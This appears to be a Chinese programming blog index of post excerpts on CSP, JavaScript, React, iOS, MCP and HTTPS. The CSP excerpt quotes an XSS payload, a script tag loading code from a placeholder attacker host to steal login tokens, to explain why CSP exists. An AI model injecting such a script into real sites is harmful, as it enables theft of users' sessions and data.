Content Security Policy

跨域脚本攻击 XSS(Cross Site Scripting) 是最常见、危害最大的网页安全漏洞。 比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入 <script src="http://www.hacker.org/xss.payload.js"></script> xss.payload.js可以获取老浏览用户的信息,如登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。 为了防止它们,要采取很多编程措施,非常麻烦。很多人提出,能不能根本上解决问题,浏览器自动禁止外部注入恶意脚本? 所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。这就是"网页安全政策"(Content Security Policy,缩写 CSP)的来历。本文详细介绍如何使用 CSP 防止 XSS 攻击。 一、简介 CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成,开发者只需提供配置。 CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。 两种方法可以启用 CSP。 一种是通过 HTTP 头信息的Content-Security-Policy的字段。 Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https: 另一种是通过网页的<meta>标签。 <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 上面代码中,CSP 做了如下配置。 脚本:只信任当前域名 <object>标签:不信任任何URL,即不加载任何资源 样式表:只信任cdn.example.org和third-party.org 框架(frame):必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。 Chrome 的报错信息。 二、限制选项 CSP 提供了很多限制选项,涉及安全的各个方面。 2.1 资源加载限制 以下选项限制各类资源的加载。 script-src:外部脚本 style-src:样式表 img-src:图像 media-src:媒体文件(音频和视频) font-src:字体文件 object-src:插件(比如 Flash) child-src:框架 frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>) connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) worker-src:worker脚本 manifest-src:manifest 文件 2.2 default-src default-src用来设置上面各个选项的默认值。 ...

October 2, 2024

箭头函数

一、箭头函数的特点 1. 相比普通函数,箭头函数有更加简洁的语法。 普通函数 function add(num) { return num + 10 } 箭头函数 const add = num => num + 10; 2. 箭头函数不绑定this,会捕获其所在上下文的this,作为自己的this。 这句话需要注意的是,箭头函数的外层如果有普通函数,那么箭头函数的this就是这个外层的普通函数的this,箭头函数的外层如果没有普通函数,那么箭头函数的this就是全局变量。 下面这个例子是箭头函数的外层有普通函数。 let obj = { fn:function(){ console.log('我是普通函数',this === obj) // true return ()=>{ console.log('我是箭头函数',this === obj) // true } } } console.log(obj.fn()()) 下面这个例子是箭头函数的外层没有普通函数。 let obj = { fn:()=>{ console.log(this === window); } } console.log(obj.fn()) // true 3. 箭头函数是匿名函数,不能作为构造函数,不可以使用new命令,否则后抛出错误。 ...

October 2, 2024

Function Calling与MCP

LLM很聪明,但它被困在一个"文本沙箱"里——它只能接收文本、输出文本。要让LLM调用API、查数据库、操作文件,就需要一个"桥梁"协议来连接LLM与外部世界。 Function Calling和**MCP(Model Context Protocol)**就是这样的桥梁。它们的目标相同——让LLM能调用外部工具——但设计理念和使用场景有很大不同。本文将详细对比这两种方案。 一、Function Calling:LLM原生的工具调用 1.1 基本原理 Function Calling是LLM提供商(OpenAI、Anthropic、Google等)在模型层面支持的工具调用能力。核心思路是: 你告诉LLM有哪些函数可用(函数名、参数定义、功能描述) LLM根据用户的问题判断是否需要调用函数 如果需要,LLM输出一个结构化的函数调用请求(而不是自然语言) 你的代码执行这个函数,把结果返回给LLM LLM基于结果生成最终回答 sequenceDiagram participant U as 用户 participant App as 应用程序 participant LLM as LLM API participant Tool as 外部工具/API U->>App: "北京今天天气怎么样?" App->>LLM: 用户消息 + 可用函数定义 LLM->>App: 函数调用请求get_weather(city="北京") App->>Tool: 调用天气API Tool->>App: {"temp": 22, "weather": "晴"} App->>LLM: 函数执行结果 LLM->>App: "北京今天天气晴朗,气温22°C" App->>U: 最终回答 关键点:LLM自身并不执行函数,它只是生成"我想调用这个函数"的结构化指令,真正的执行由应用程序完成。 1.2 函数定义 以OpenAI的格式为例,开发者需要用JSON Schema描述每个可用的函数: { "tools": [ { "type": "function", "function": { "name": "get_weather", "description": "获取指定城市的当前天气信息", "parameters": { "type": "object", "properties": { "city": { "type": "string", "description": "城市名称,如'北京'、'上海'" }, "unit": { "type": "string", "enum": ["celsius", "fahrenheit"], "description": "温度单位" } }, "required": ["city"] } } } ] } LLM通过阅读这个定义来理解:这个函数叫什么、干什么用、需要什么参数。description字段的质量直接影响LLM能否正确选择和调用函数。 ...

May 2, 2026

iOS国际化

前言 很多团队对"国际化"的理解停留在"把中文文案翻译成英文",等真正把 App 推向多区域时就会发现远远不够:阿拉伯语用户看到的界面左右颠倒了,用户在纽约和东京看到的"今天"不是同一天,欧洲的小数点变成了逗号,日本用户抱怨价格里的¥符号指向人民币而不是日元,印度用户发现自己的 ₹1,23,456.78 被错误地按千分位显示成 ₹123,456.78,复数规则在俄语里比英语复杂得多,而这些问题单靠"翻译"都解决不了。 国际化(Internationalization,简称 i18n,取首末字母与中间 18 个字符)是架构层面的能力建设,让 App 能够适配不同语言、地区、文字方向、日历、时区、货币、单位制与文化习俗;而本地化(Localization,l10n)是针对某个具体地区的"适配落地"。两者的关系是:“国际化一次,本地化 N 次”。 本文从 NSLocale/Locale 的基础模型开始,把 iOS 国际化的完整工程面梳理清楚——文案本地化、复数/性别规则、RTL 布局、多时区、多币种、单位与数字格式、图片资源、字体、App 内切换语言、测试方法,最后给出研发规范与排查清单。 一、基础概念:Locale、Language 与 Region 1.1 Locale 不等于 Language 大多数工程师第一次接触国际化时会把"语言"和"地区"混为一谈,这在 iOS 下会直接导致格式错误。 Language(语言):zh、en、ar、ja…决定 UI 文字内容。 Region(地区):CN、US、SA、JP…决定格式(日期、数字、货币、时间制 12/24h、起始星期、度量单位)。 Locale(语言+地区):两者合成一个完整的标识,如 zh_CN、en_US、ar_SA、en_IN。 一个美国人移居日本后,完全可能把 iPhone 语言设为英文,但地区设为日本。此时: 场景 期望 UI 文案 英文 日期格式 1月23日(月) 风格?No,应显示 January 23 (Mon),因为语言决定月/星期的名字 数字分隔符 , 作千分位(与日本/美国一致) 货币符号 ¥(JPY) 温度单位 ℃(日本) 首日周 周日(日本区域) 对应的 Locale 是 en_JP——看似奇怪,但在现实中非常普遍。代码里要区分"用哪个语言去查字符串"和"用哪个 Locale 去格式化数据": let preferredLanguage = Locale.preferredLanguages.first ?? "en" let currentLocale = Locale.current let formatter = DateFormatter() formatter.locale = currentLocale formatter.dateStyle = .long print(formatter.string(from: Date())) 不要传 Locale(identifier: "en") 去格式化数字,那会丢掉用户的区域偏好。 ...

May 2, 2026

KVO底层原理

基础概念 KVO(Key-Value Observing,键值观察)是 Apple 基于 KVC 实现的一种观察者模式,允许对象监听另一个对象特定属性的变化。当被观察对象的属性值发生改变时,观察者会收到通知。 // 注册观察 [person addObserver:self forKeyPath:@"name" options:NSKeyValueObservingOptionNew | NSKeyValueObservingOptionOld context:nil]; // 接收通知 - (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey, id> *)change context:(void *)context { if ([keyPath isEqualToString:@"name"]) { NSLog(@"name changed: %@ → %@", change[NSKeyValueChangeOldKey], change[NSKeyValueChangeNewKey]); } } // 移除观察 - (void)dealloc { [person removeObserver:self forKeyPath:@"name"]; } KVO 的底层实现原理:isa-swizzling KVO 的核心实现机制是 isa-swizzling(isa 指针替换)。当对象被添加观察者时,Runtime 会在运行时动态创建该对象所属类的一个子类,并将对象的 isa 指针指向这个新的子类。 完整流程 flowchart TD A["addObserver:forKeyPath:"] --> B["Runtime 动态创建子类NSKVONotifying_ClassName"] B --> C["重写被观察属性的 setter 方法"] B --> D["重写 class 方法返回原始类"] B --> E["重写 dealloc 方法"] B --> F["重写 _isKVOA 方法返回 YES"] C --> G["将对象的 isa 指向NSKVONotifying_ClassName"] G --> H["当属性值改变时"] H --> I["调用 willChangeValueForKey:"] I --> J["调用原始 setter 方法"] J --> K["调用 didChangeValueForKey:"] K --> L["通知所有观察者"] 第一步:动态创建子类 当首次对某个类的实例调用 addObserver:forKeyPath:options:context: 时,Runtime 会: ...

May 2, 2026

工厂模式

定义 工厂模式(Factory Pattern)是一种创建型设计模式,它提供了一种创建对象的方式,将对象的创建逻辑与使用逻辑分离。工厂模式有三种变体:简单工厂模式、工厂方法模式和抽象工厂模式。 为什么需要工厂模式 工厂模式要解决的核心问题是:将对象的创建过程与使用过程分离。 问题场景:假设我们正在开发一个网络层,需要创建URLSession对象。 直接使用构造函数创建对象看起来很简单: class NetworkManager { func fetchData(from url: URL) { // 直接创建URLSession let config = URLSessionConfiguration.default config.timeoutIntervalForRequest = 30 config.httpAdditionalHeaders = ["Authorization": "Bearer xxx"] let session = URLSession(configuration: config) session.dataTask(with: url) { data, response, error in // 处理响应... }.resume() } } 这种方式有什么问题? 创建逻辑与业务逻辑混在一起:fetchData方法既要负责创建session,又要负责发起请求,职责不单一 创建逻辑无法复用:如果另一个方法也需要相同配置的session,只能复制这段创建代码 难以替换实现:如果想在测试时使用Mock的session,或者在不同环境使用不同配置,需要修改业务代码 隐藏了依赖关系:从方法签名看不出这个类依赖URLSession,依赖关系被隐藏在方法内部 工厂模式的解决思路: 工厂模式的核心是:调用方不再自己new对象,而是向工厂"要"对象。 // 工厂负责创建 class URLSessionFactory { static func createDefault() -> URLSession { let config = URLSessionConfiguration.default config.timeoutIntervalForRequest = 30 config.httpAdditionalHeaders = ["Authorization": "Bearer xxx"] return URLSession(configuration: config) } static func createBackground(identifier: String) -> URLSession { let config = URLSessionConfiguration.background(withIdentifier: identifier) return URLSession(configuration: config) } } // 业务代码只负责使用 class NetworkManager { private let session: URLSession init(session: URLSession = URLSessionFactory.createDefault()) { self.session = session } func fetchData(from url: URL) { session.dataTask(with: url) { data, response, error in // 处理响应... }.resume() } } 这样做的好处: ...

May 2, 2026

前端任务自动化(npm scripts实现)

在前端开发中,我们经常需要执行各种重复性任务,比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务,但npm本身提供了一个强大的功能:npm scripts。通过npm scripts,我们可以将这些任务脚本化并集中管理,从而提高开发效率。 本文将专注于如何使用npm scripts自动化前端开发任务,以及它在项目管理中的作用。 什么是npm scripts? npm scripts是npm提供的一种机制,允许我们在项目的package.json文件中定义一组命令,方便执行各种任务。在package.json文件中,scripts字段可以包含多个脚本,每个脚本都是一个键值对,其中键是脚本的名称,值是实际要执行的命令。例如: { "scripts": { "build": "webpack --config webpack.config.js", "test": "jest" } } 在上面的示例中,定义了两个脚本:build 和 test。可以通过以下方式在命令行中运行这些脚本: npm run build npm run test npm会执行对应的命令,自动帮我们完成编译和测试任务。 为什么使用npm scripts? 在现代前端开发流程中,自动化任务是不可或缺的,而npm scripts的使用有以下几大优势: 减少对全局依赖的需求:在传统项目中,开发者通常需要全局安装各种命令行工具,如webpack、eslint、babel等。而npm scripts可以直接调用项目的本地依赖,无需全局安装。这确保了不同开发环境中的工具版本一致,减少了版本冲突和兼容性问题。 集中管理任务:npm scripts将所有任务定义集中在package.json文件中,项目中的所有开发人员都可以直观地看到可用的任务列表,无需了解每个工具的详细使用方法。只需运行npm run <task>,便可一键完成常见任务。 支持跨平台执行:npm scripts中的命令可以跨平台使用,在Windows、macOS和Linux系统上表现一致,尤其适合团队协作。 便于组合和链式执行:npm允许通过逻辑操作符来组合脚本,实现复杂任务的自动化执行。例如可以通过&&和||来串联多个任务,使得多个步骤一次完成。 如何定义和使用npm scripts? 让我们通过具体的示例来看看npm scripts如何自动化前端开发任务。 1. 设置基本的开发任务 假设我们正在开发一个React项目,我们可以在package.json中定义以下基本任务: { "scripts": { "start": "webpack serve --mode development", "build": "webpack --mode production", "test": "jest", "lint": "eslint src/**/*.js" } } 这里的脚本分别执行以下任务: ...

August 7, 2025

http和https

HTTP 基础 HTTP 超文本传输协议 ,应用层协议。主要用于 Web 上传输超媒体文本的底层协议,经常在浏览器和服务器之间传递数据。通信就是以纯文本的形式进行。 HTTP 是无状态 无状态是 HTTP 协议对客户端请求状态没有进行存储,比如每次请求都需要重新登录 HTTP 是无连接 无连接主要是限制每次连接只处理一个请求。每次请求都是客户发起请求,服务端响应请求,然后就断开连接。这期间就是通过三次握手建立连接,四次挥手断开连接。每次请求即便是多次请求并请求同一个资源,服务端都无法判断是否是相同请求,都需要重新响应请求。 所以,为了解决客户端和服务端保持会话连接,通过 cookie 和 session 来记录 http 状态。 HTTP 的其他特点是简单快速,只需传送方法和路径就可以向服务端进行请求;还有支持传输任意类型的数据对象。 HTTPS 基础 https 是 http 的“升级”版本: HTTPS = HTTP+ SSL/TLS SSL 是安全层,TLS 是传输层安全,是SSL 的继承。使用SSL或TLS 可确保传输数据的安全性。 使用 HTTP 可能看到传输数据是: “这是明文信息” 使用 HTTPS 可能看到: “283hd9saj9cdsncihquhs99ndso” HTTPS 传输的不再是文本,而是二进制流,使得传输更高效,且加密处理更加安全。 HTTPS 的工作流程 1、客户端请求 HTTPS 请求并连接到服务器的 443 端口,此过程和请求 HTTP 请求一样,进行三次握手; 2、服务端向客户端发送数字证书,其中包含公钥、证书颁发者、到期日期 现比较流行的加解密码对,即公钥和私钥。公钥用于加密,私钥用于解密。所以服务端会保留私钥,然后发送公钥给客户端。 3、客户端收到证书,会验证证书的有效性。验证通过后会生成一个随机的 pre-master key。再将密钥通过接收到的公钥加密然后发送给服务端 4、服务端接收后使用私钥进行解密得到 pre-master key 5、获得 pre-master key 后,服务器和客户端可以使用主密钥进行通信。 ...

July 28, 2025

react hooks

一 前言 React hooks是react16.8 以后,react新增的钩子API,目的是增加代码的可复用性,逻辑性,弥补无状态组件没有生命周期,没有数据管理状态state的缺陷。 本章节将介绍目前 React 提供的所有 hooks ,介绍其功能类型和基本使用方法。 1.1 技术背景 react hooks 解决了什么问题? 先设想一下,如果没有 Hooks,函数组件能够做的只是接受 Props、渲染 UI ,以及触发父组件传过来的事件。所有的处理逻辑都要在类组件中写,这样会使 class 类组件内部错综复杂,每一个类组件都有一套独特的状态,相互之间不能复用,即便是 React 之前出现过 mixin 等复用方式,但是伴随出 mixin 模式下隐式依赖,代码冲突覆盖等问题,也不能成为 React 的中流砥柱的逻辑复用方案。所以 React 放弃 mixin 这种方式。 类组件是一种面向对象思想的体现,类组件之间的状态会随着功能增强而变得越来越臃肿,代码维护成本也比较高,而且不利于后期 tree shaking。所以有必要做出一套函数组件代替类组件的方案,于是 Hooks 也就理所当然的诞生了。 所以 Hooks 出现本质上原因是: 让函数组件也能做类组件的事,有自己的状态,可以处理一些副作用,能获取 ref ,也能做数据缓存。 解决逻辑复用难的问题。 放弃面向对象编程,拥抱函数式编程。 为什么要使用自定义 Hooks ? 自定义 hooks 是在 React Hooks 基础上的一个拓展,可以根据业务需求制定满足业务需要的组合 hooks ,更注重的是逻辑单元。通过业务场景不同,到底需要React Hooks 做什么,怎么样把一段逻辑封装起来,做到复用,这是自定义 hooks 产生的初衷。 自定义 hooks 也可以说是 React Hooks 聚合产物,其内部有一个或者多个 React Hooks 组成,用于解决一些复杂逻辑。 ...

December 17, 2024

执行上下文

我们在JS学习初期或者面试的时候常常会遇到考核变量提升的思考题。比如先来一个简单一点的。 console.log(a); // 这里会打印出什么? var a = 20; 暂时先不管这个例子,我们先引入一个JavaScript中最基础,但同时也是最重要的一个概念执行上下文(Execution Context)。 每次当控制器转到可执行代码的时候,就会进入一个执行上下文。执行上下文可以理解为当前代码的执行环境,它会形成一个作用域。JavaScript中的运行环境大概包括三种情况。 全局环境:JavaScript代码运行起来会首先进入该环境 函数环境:当函数被调用执行时,会进入当前函数中执行代码 eval(不建议使用,可忽略) 因此在一个JavaScript程序中,必定会产生多个执行上下文,在我的上一篇文章中也有提到,JavaScript引擎会以栈的方式来处理它们,这个栈,我们称其为函数调用栈(call stack)。栈底永远都是全局上下文,而栈顶就是当前正在执行的上下文。 当代码在执行过程中,遇到以上三种情况,都会生成一个执行上下文,放入栈中,而处于栈顶的上下文执行完毕之后,就会自动出栈。为了更加清晰的理解这个过程,根据下面的例子,结合图示给大家展示。 执行上下文可以理解为函数执行的环境,每一个函数执行时,都会给对应的函数创建这样一个执行环境。 var color = 'blue'; function changeColor() { var anotherColor = 'red'; function swapColors() { var tempColor = anotherColor; anotherColor = color; color = tempColor; } swapColors(); } changeColor(); 我们用ECStack来表示处理执行上下文组的堆栈。我们很容易知道,第一步,首先是全局上下文入栈。 全局上下文入栈之后,其中的可执行代码开始执行,直到遇到了changeColor() ,这一句激活函数changeColor创建它自己的执行上下文,因此第二步就是changeColor的执行上下文入栈。 changeColor的上下文入栈之后,控制器开始执行其中的可执行代码,遇到swapColors()之后又激活了一个执行上下文。因此第三步是swapColors的执行上下文入栈。 在swapColors的可执行代码中,再没有遇到其他能生成执行上下文的情况,因此这段代码顺利执行完毕,swapColors的上下文从栈中弹出。 swapColors的执行上下文弹出之后,继续执行changeColor的可执行代码,也没有再遇到其他执行上下文,顺利执行完毕之后弹出。这样,ECStack中就只身下全局上下文了。 全局上下文在浏览器窗口关闭后出栈。 注意:函数中,遇到return能直接终止可执行代码的执行,因此会直接将当前上下文弹出栈。 详细了解了这个过程之后,我们就可以对执行上下文总结一些结论了。 单线程 同步执行,只有栈顶的上下文处于执行中,其他上下文需要等待 全局上下文只有唯一的一个,它在浏览器关闭时出栈 函数的执行上下文的个数没有限制 每次某个函数被调用,就会有个新的执行上下文为其创建,即使是调用的自身函数,也是如此。 为了巩固一下执行上下文的理解,我们再来绘制一个例子的演变过程,这是一个简单的闭包例子。 function f1(){ var n=999; function f2(){ alert(n); } return f2; } var result=f1(); result(); // 999 因为f1中的函数f2在f1的可执行代码中,并没有被调用执行,因此执行f1时,f2不会创建新的上下文,而直到result执行时,才创建了一个新的。具体演变过程如下。 最后留一个简单的例子,大家可以自己脑补一下这个例子在执行过程中执行上下文的变化情况。 var name = "window"; var p = { name: 'Perter', getName: function() { // 利用变量保存的方式保证其访问的是p对象 var self = this; return function() { return self.name; } } } var getName = p.getName(); var _name = getName(); console.log(_name); 常见考点 执行上下文的定义 什么是执行上下文?它在 JavaScript 中有哪些类型? 执行上下文在代码执行时是如何被创建和销毁的? 执行上下文的生命周期 执行上下文的创建和执行过程有哪些阶段?(例如,创建阶段和执行阶段) 请描述执行上下文在创建阶段进行的三个步骤:变量对象的创建、作用域链的建立、this 的绑定。 变量对象(Variable Object) 什么是变量对象?它在执行上下文中的作用是什么? 变量提升是如何与变量对象关联的?在函数声明和变量声明时有何不同? 作用域链 执行上下文是如何通过作用域链来访问变量的? 请解释在嵌套函数的情况下,作用域链是如何建立的? this 绑定 在不同的执行上下文中,this 的值是如何确定的?(例如,全局上下文、函数上下文、箭头函数) 如何解释在不同函数调用方式下 this 的指向差异? 执行上下文栈 什么是执行上下文栈?它如何管理代码执行的顺序? JavaScript 引擎如何利用执行上下文栈来实现函数的嵌套调用和返回? 块级作用域的影响 ES6 中引入的 let 和 const 是如何影响执行上下文的? 如何解释块级作用域在执行上下文中的特殊处理? 常见问题与调试 如何通过理解执行上下文来排查变量未定义、this 指向错误等常见问题? 请解释某个你遇到的实际问题,以及如何通过分析执行上下文来解决它的。

November 6, 2024